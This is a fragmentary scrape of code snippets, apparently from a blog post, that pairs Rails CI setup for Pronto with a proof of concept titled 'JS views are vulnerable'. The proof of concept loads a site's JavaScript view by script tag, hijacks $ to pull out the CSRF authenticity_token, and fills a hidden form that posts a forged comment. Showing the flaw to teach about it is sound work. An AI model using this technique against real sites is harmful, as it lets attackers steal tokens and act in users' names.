This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| export GITHUB_ACCESS_TOKEN=<your_github_access_token> | |
| export PULL_REQUEST_URL=${CI_PULL_REQUEST} | |
| export PULL_REQUEST_ID=`echo $PULL_REQUEST_URL | grep -o -E ‘[0–9]+$’ | head -1 | sed -e ‘s/^0\+//’` | |
| ((bin/bundle exec pronto run -f github_pr -c origin/master)) || true |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| dependencies: | |
| post: | |
| — bin/cisetup | |
| checkout: | |
| post: | |
| — git fetch origin — depth=1000000 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $PULL_REQUEST_URL | grep -o -E ‘[0–9]+$’ | head -1 | sed -e ‘s/^0\+//’ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| document.addEventListener(‘DOMContentLoaded’, function () { document.getElementById(‘token’).value = token; }, false); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| getSecureInfo = function (html) { | |
| matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/); | |
| token = matches[1]; | |
| document.getElementById(‘token’).value = token; | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| document.write(‘<script src=”http://example.com/users/maximabramchuk/books/new.js"></script>'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function $() { | |
| return { | |
| after: getSecureInfo | |
| } | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var _document = document; | |
| var token = ‘’; | |
| getSecureInfo = function (html) { | |
| matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/); | |
| token = matches[1]; | |
| document.getElementById(‘token’).value = token; | |
| }; | |
| function $() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $(“.wrapper.dev”).after(“<%= escape_javascript(render(:partial => @partial))%>”) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <script type=”text/javascript” src=”index.js”></script> | |
| <title>JS views are vulnerable</title> | |
| </head> | |
| <body> | |
| <form action=”http://example.com/comments" method=”POST”> | |
| <input id=”token” type=”hidden” name=”authenticity_token” value=””> | |
| <input type=”hidden” name=”comment[model_id]” value=”76678"> | |
| <input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”> |